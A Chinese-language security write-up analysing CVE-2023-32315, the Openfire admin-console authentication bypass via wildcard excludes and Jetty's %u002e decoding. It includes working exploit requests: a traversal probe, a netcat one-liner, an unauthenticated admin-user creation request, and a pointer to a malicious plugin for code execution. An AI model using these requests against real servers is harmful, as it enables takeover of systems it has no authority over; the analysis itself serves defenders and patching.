Openfire是一个实时协作(RTC)服务器,编写于Java,它使用唯一被广泛采用的即时通讯开放协议XMPP,并提供Web管理界面。
Openfire的API定义了一种机制,允许使用通配符实现灵活的URL模式匹配以将某些URL从Web认证中排除。并且由于Openfire使用到的Web服务器支持解析非标准的UTF-16字符URL编码变体,导致了路径遍历漏洞。通配符模式匹配与路径遍历漏洞的组合可以使攻击者绕过认证访问后台管理控制台,最终通过后台上传恶意插件能够实现远程代码执行,完全地控制服务器权限。
-
>=3.10.0, <4.6.8
-
>=4.7.0, <4.7.5
通配符模式匹配致使的鉴权绕过
Openfire的API定义了一种机制,可以将某些URL从Web认证中排除,此机制允许使用通配符,以实现灵活的URL模式匹配。在存在漏洞的4.7.4版本中, xmppserver/src/main/webapp/WEB-INF/web.xml配置文件的相关内容如下。
<
filter
>
<
filter-name
>
AuthCheck
</
filter-name
>
<
filter-class
>
org.jivesoftware.admin.AuthCheckFilter
</
filter-class
>
<
init-param
>
<
param-name
>
excludes
</
param-name
>
<
param-value
>
login.jsp,index.jsp?logout=true,setup/index.jsp,setup/setup-*,.gif,.png,error-serverdown.jsp,loginToken.jsp
</
param-value
>
</
init-param
>
</
filter
>
这里的本意是,符合如上列表中的文件,如登录页面、首次安装页面、静态图片/CSS文件等,请求它们,便排除在Web认证之外。
通过版本对比,可以发现在安全的4.7.5版本中,setup
/
index
.
jsp
和 setup
/
setup
-*
已经被删除了。
Openfire的鉴权位于 org
.
jivesoftware
.
admin
.
AuthCheckFilter
类中的 doFilter鉴
权方法。
public
void
doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
// Do not allow framing; OF-997
response.setHeader(
"X-Frame-Options"
, JiveGlobals.getProperty(
"adminConsole.frame-options"
,
"SAMEORIGIN"
));
// Reset the defaultLoginPage variable
String
loginPage = defaultLoginPage;
if
(loginPage ==
null
) {
loginPage = request.getContextPath() + (AuthFactory.isOneTimeAccessTokenEnabled() ?
"/loginToken.jsp"
:
"/login.jsp"
);
}
// Get the page we're on:
String
url = request.getRequestURI().substring(
1
);
if
(url.startsWith(
"plugins/"
)) {
url = url.substring(
"plugins/"
.length());
}
// See if it's contained in the exclude list. If so, skip filter execution
boolean
doExclude =
false
;
for
(
String
exclude: excludes) {
if
(testURLPassesExclude(url, exclude)) {
doExclude =
true
;
break
;
}
}
if
(!doExclude) {
WebManager manager =
new
WebManager();
manager.init(request, response, request.getSession(), context);
boolean
haveOneTimeToken = manager.getAuthToken()
instanceof
AuthToken.OneTimeAuthToken;
User loggedUser = manager.getUser();
boolean
loggedAdmin = loggedUser ==
null
?
false
: adminManager.isUserAdmin(loggedUser.getUsername(),
true
);
if
(!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
response.sendRedirect(getRedirectURL(request, loginPage,
null
));
return
;
}
}
chain.doFilter(req, res);
}
在其中,可以看到如下片段代码,对 excludes列表进行循环,执行 testURLPassesExclude(url,exclude)方法的判断,若 testURLPassesExclude返回true,那么 doExclude的值也将为true,循环将会break,最终就能够成功实现鉴权绕过;否则当 doExclude为false时,便会跳转登录页面。
// See if it's contained in the exclude list. If so, skip filter execution
boolean
doExclude =
false
;
for
(
String
exclude: excludes) {
if
(testURLPassesExclude(url, exclude)) {
doExclude =
true
;
break
;
}
}
if
(!doExclude) {
WebManager manager =
new
WebManager();
manager.init(request, response, request.getSession(), context);
boolean
haveOneTimeToken = manager.getAuthToken()
instanceof
AuthToken.OneTimeAuthToken;
User loggedUser = manager.getUser();
boolean
loggedAdmin = loggedUser ==
null
?
false
: adminManager.isUserAdmin(loggedUser.getUsername(),
true
);
if
(!haveOneTimeToken && !loggedAdmin && !authUserFromRequest(request)) {
response.sendRedirect(getRedirectURL(request, loginPage,
null
));
return
;
}
}
chain.doFilter(req, res);
这能够表明,testURLPassesExclude方法就是实现鉴权绕过的关键。
在对该方法做进一步分析前,先回顾一个十五年的漏洞。其实最早在2008年,v3.6.0版本的Openfire就已经出现过一次路径遍历漏洞,漏洞编号是CVE-2008-6508,该漏洞的POC如下。
GET
/setup/setup-/../../log.jsp
HTTP/1.1
官方在v3.6.1版本只考虑了对原始的..进行了判断和过滤,这样修复的并不彻底,如下经过URL编码的 ..的payload仍然能够进行绕过。
echo
"GET /setup/setup-/%2E%2E/%2E%2E/log.jsp?log=info&mode=asc&lines=All"
| nc localhost
9090
于是官方在v3.6.2版本中又对 %2e的情况进行了判断和过滤。
// v3.6.2
// src/java/org/jivesoftware/admin/AuthCheckFilter.java
public
static
boolean
testURLPassesExclude(
String
url,
String
exclude) {
// ...
if
(exclude.endsWith(
"*"
)) {
if
(url.startsWith(exclude.substring(
0
, exclude.length() -
1
))) {
// Now make sure that there are no ".." characters in the rest of the URL.
if
(!url.contains(
".."
) && !url.toLowerCase().contains(
"%2e"
)) {
return
true
;
}
}
}
// ...
return
false
;
}
这一段代码延续至今,在十几年后的4.7.4版本中依然没发生变化,4.7.4版本的 testURLPassesExclude方法内容如下,已省略部分无关代码。
public
static
boolean
testURLPassesExclude(
String
url,
String
exclude) {
// ...
// in the URL and then the resulting url must exactly match the exclude rule. If the exclude ends with a "*"
// character then the URL is allowed if it exactly matches everything before the * and there are no ".."
// characters after the "*". All data in the URL before
if
(exclude.endsWith(
"*"
)) {
if
(url.startsWith(exclude.substring(
0
, exclude.length() -
1
))) {
// Now make sure that there are no ".." characters in the rest of the URL.
if
(!url.contains(
".."
) && !url.toLowerCase().contains(
"%2e"
)) {
return
true
;
}
}
}
// ...
return
false
;
}
通过漏洞Reporter在CVE-2023-32315的GitHub Security Advisory中提供的poc/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp,可以发现这个路径恰恰是符合 excludes列表中的 setup/setup-*的通配符匹配。当二者共同传入进testURLPassesExclude方法中时,便能符合如上的几个判断,顺利返回true到 doExclude中,使 doExclude的值也为true,最终便成功的绕过 doExclude的鉴权,顺利到达Openfire的Jetty Web服务器,由其继续处理。
Jetty“新特性”致使的路径遍历
在早期版本的Openfire中,当时内置的Jetty Web服务器不支持解析 %u002e这种编码,所以当时的安全补丁简单的过滤 ..
和 %
2e
,对于早期版本的Openfire是足够了的。
但是在之后版本的Openfire中,使用的Jetty Web服务器能够支持这种非标准的UTF-16字符URL编码变体,这种“新特性”导致原本的路径遍历漏洞又一次地出现在Openfire中,此处的“新”是相对而言。
Openfire v4.7.4中的Jetty版本为9.4.43.v20210629,请求路径的处理位于 org.eclipse.jetty.http.HttpURI类,跟进其中的 parse方法,来到它的末尾关键代码片段。
else
if
(_path !=
null
)
{
// The RFC requires this to be canonical before decoding, but this can leave dot segments and dot dot segments
// which are not canonicalized and could be used in an attempt to bypass security checks.
String
decodedNonCanonical = URIUtil.decodePath(_path);
_decodedPath = URIUtil.canonicalPath(decodedNonCanonical);
if
(_decodedPath ==
null
)
throw
new
IllegalArgumentException(
"Bad URI"
);
}
这段代码会调用 URIUtil.decodePath方法进行解码,然后使用 URIUtil.canonicalPath对解码后的路径做规范化处理。
解码路径的方法位于 org.eclipse.jetty.util.URIUtil#decodePath,完整内容如下。
public
static
String
decodePath
(
String path,
int
offset,
int
length
)
{
try
{
Utf8StringBuilder builder =
null
;
int
end = offset + length;
for
(
int
i = offset; i < end; i++) {
char
c = path.charAt(i);
switch
(c) {
case
'%'
:
if
(builder ==
null
) {
builder =
new
Utf8StringBuilder(path.length());
builder.append(path, offset, i - offset);
}
if
((i +
2
) < end) {
char
u = path.charAt(i +
1
);
if
(u ==
'u'
) {
// In Jetty-10 UTF16 encoding is only supported with UriCompliance.Violation.UTF16_ENCODINGS.
// This is wrong. This is a codepoint not a char
builder.append((
char
)(
0xffff
& TypeUtil.parseInt(path, i +
2
,
4
,
16
)));
i +=
5
;
}
else
{
builder.append((
byte
)(
0xff
& (TypeUtil.convertHexDigit(u) *
16
+ TypeUtil.convertHexDigit(path.charAt(i +
2
)))));
i +=
2
;
}
}
else
{
throw
new
IllegalArgumentException(
"Bad URI % encoding"
);
}
break
;
// ...
default
:
if
(builder !=
null
)
builder.append(c);
break
;
}
}
if
(builder !=
null
)
return
builder.toString();
if
(offset ==
0
&& length == path.length())
return
path;
return
path.substring(offset, end);
}
catch
(NotUtf8Exception e) {
LOG.debug(path.substring(offset, offset + length) +
" "
+ e);
return
decodeISO88591Path(path, offset, length);
}
catch
(IllegalArgumentException e) {
throw
e;
}
catch
(Exception e) {
throw
new
IllegalArgumentException(
"cannot decode URI"
, e);
}
}
根据如上代码的逻辑,当传入 %u002e字符串到 decodePath方法时,它会对该字符串进行解码处理。
- 首先,方法进入循环,遍历字符串中的字符。
- 在循环中,遇到字符 %,表示接下来的字符是需要解码的。
- 方法检查接下来的字符是否为u。因为 %u002e中的 u是小写的,所以会执行以下代码块:
if
(u ==
'u'
) {
builder.
append
((char)(
0xffff
& parseInt(path, i +
2
,
4
,
16
)));
i +=
5
;
}
-
方法调用 TypeUtil.parseInt方法解析四个字符 002e,并将解析结果作为一个字符添加到 builder中。这里的 TypeUtil.parseInt方法会将十六进制字符解析为对应的数值。
public
static
int
parseInt
(
String s,
int
offset,
int
length,
int
base
) throws NumberFormatException
{
int
value
=
0
;
if
(length <
0
)
length = s.length() - offset;
for
(
int
i =
0
; i < length; i++) {
char
c = s.charAt(offset + i);
int
digit = convertHexDigit((
int
) c);
if
(digit <
0
|| digit >=
base
)
throw
new
NumberFormatException(s.substring(offset, offset + length));
value
=
value
*
base
+ digit;
}
return
value
;
}
解析结果为 .的Unicode码点(0x002e)。
(char)(0xffff&TypeUtil.parseInt(path,i+2,4,16))将Unicode码点强制转换为一个字符,并将其添加到 builder中。
i+=5用于跳过解码的字符,即 %u002e中的 u002e。
- 循环继续,因为已经处理完 %u002e,下一个字符是正常字符.。
- 方法将 .直接添加到 builder中。
- 循环结束,根据 builder的内容生成一个新的字符串,并将其返回。
当然,也可以运行看看实际的结果,创建一个新项目,并导入如下版本的maven依赖。
<
dependencies
>
<!-- https://mvnrepository.com/artifact/org.eclipse.jetty/jetty-util -->
<
dependency
>
<
groupId
>
org.eclipse.jetty
</
groupId
>
<
artifactId
>
jetty-util
</
artifactId
>
<
version
>
9.4.43.v20210629
</
version
>
</
dependency
>
</
dependencies
>
然后编写如下代码。
package org.jetty;
import
org.eclipse.jetty.util.URIUtil;
class
Main
{
public
static
void
main(
String
[] args) {
String
path =
"/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp"
;
String
decodedNonCanonical = URIUtil.decodePath(path);
System.out.println(
"decodedNonCanonical: "
+ decodedNonCanonical);
String
decodedPath = URIUtil.canonicalPath(decodedNonCanonical);
if
(decodedPath ==
null
)
throw
new
IllegalArgumentException(
"Bad URI"
);
System.out.println(
"decodedPath: "
+ decodedPath);
}
}
首先URIUtil
.
decodePath
将 /setup/
setup
-
s
/%
u002e
%
u002e
/%
u002e
%
u002e
/
log
.
jsp
解码为 /setup/
setup
-
s
/../../
log
.
jsp
,接着 URIUtil
.
canonicalPath
方法将该路径规范化处理成 /
log
.
jsp
。
在维基百科的说法中, %
uxxxx
这种形式的编码是一种非标准的Unicode字符编码方式,其中xxxx表示一个UTF-16代码单元,由四个十六进制数字表示。这种行为没有被任何RFC规范指定,并且被W3C拒绝。
路径遍历
在一个未登录Openfire的浏览器中,通过如下请求路径,如果显示部分日志文件则表明存在漏洞,如果重定向到登录页面,则表明无漏洞。
http:
//localhost
:
9090
/setup/setup-
s/%u002e%u002e/%u002e%u002e/log
.jsp
未授权创建用户
创建一个账号和密码为admin2/admin2的管理员用户。
GET /setup/setup-
s/%u002e%u002e/%u002e%u002e/user
-create.jsp?csrf=Jm6f0wY78QMP8jj&username=admin2&name=admin2&email=admin2%40example.com&password=admin2&passwordConfirm=admin2&isadmin=on&create=Create+User HTTP/
1.1
Host:
Accept-Encoding: gzip, deflate
Accept: *
/*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/
5.0
(Windows NT
10.0
; Win64; x64) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
109.0
.
5414.120
Safari/
537.36
Connection:
close
Cache-Control: max-age=
0
HTTP/1.1
200
OK
Connection
: close
Date
: Wed, 14 Jun 2023 06:47:48 GMT
X-Frame-Options
: SAMEORIGIN
Content-Type
: text/html;charset=utf-8
Set-Cookie
: csrf=NX7COAs1lgRsMdd; Path=/; HttpOnly
Expires
: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length
: 6187
Exception
:
……
插件上传实现RCE
登录如上创建的管理员用户,在后台添加恶意插件然后实现远程代码执行。恶意插件的实现可以是自己基于Openfire已有的插件进行二开,也可以使用如下恶意插件。
- https://github.com/vulhub/openfire-fastpath-plugin
目前厂商已升级了安全版本以修复这个安全问题,请到厂商的发布主页下载安全版本:
https://github.com/igniterealtime/Openfire/releases
https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm
https://igniterealtime.atlassian.net/browse/OF-2595
https://igniterealtime.atlassian.net/browse/JM-1489
https://en.wikipedia.org/wiki/URLencoding#Non-standardimplementation
https://github.com/vulhub/openfire-fastpath-plugin
原文始发于微信公众号(雷神众测):CVE-2023-32315 Openfire管理控制台认证绕过漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论